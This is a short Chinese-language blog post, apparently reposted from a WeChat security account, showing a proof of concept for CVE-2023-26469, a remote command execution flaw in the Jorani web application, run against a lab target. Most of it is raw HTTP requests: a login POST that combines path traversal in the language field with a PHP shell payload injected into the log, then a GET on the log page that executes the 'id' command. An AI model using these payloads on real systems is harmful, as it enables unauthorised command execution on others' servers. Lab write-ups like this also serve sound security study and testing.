CVE-2023-26469 Jorani远程命令执行漏洞

声明：请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，文章作者和此公众号不为此承担任何责任。

靶场渗透

在当前页面抓包

之后附上poc

GET /session/login HTTP/1.1

Host:your-ip

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1

Sec-Fetch-Dest: document

Sec-Fetch-Mode: navigate

Sec-Fetch-Site: none

Sec-Fetch-User: ?1

把这两个cookie记录出来等会能用到

POC

POST /session/login HTTP/1.1

Host: ip:port

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1

Sec-Fetch-Dest: document

Sec-Fetch-Mode: navigate

Sec-Fetch-Site: none

Sec-Fetch-User: ?

Cookie:csrf_cookie_jorani=bec9e84fadc1b8d3faf7bf14309c3eb6;jorani_session=aff4a0d173e6f9a916d2bbf33eda04836550e6fc;   

Content-Type: application/x-www-form-urlencoded

Content-Length: 160

csrf_test_jorani=a3ab3adxxxxxxxxxx4606ecdd&last_page=session%2Flogin&language=..%2F..%2Fapplication%2Flogs&login=<%3f%3d`$_GET[1]`%3f>&CipheredValue=test

POC

GET /pages/view/log-2024-04-11?1=id HTTP/1.1

Host: eci-2zegquzcdut9sek5x7yl.cloudeci1.ichunqiu.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1

Sec-Fetch-Dest: document

Sec-Fetch-Mode: navigate

Sec-Fetch-Site: none

Sec-Fetch-User: ?

X-REQUESTED-WITH: XMLHttpRequest

Cookie:csrf_cookie_jorani=bec9e84fadc1b8d3faf7bf14309c3eb6;jorani_session=aff4a0d173e6f9a916d2bbf33eda04836550e6fc;

获得了命令执行的结果

这里面的一个坑，日志的时间要根据现在的时间来进行修改    

原文始发于微信公众号（攻防学堂）：CVE-2023-26469 Jorani远程命令执行漏洞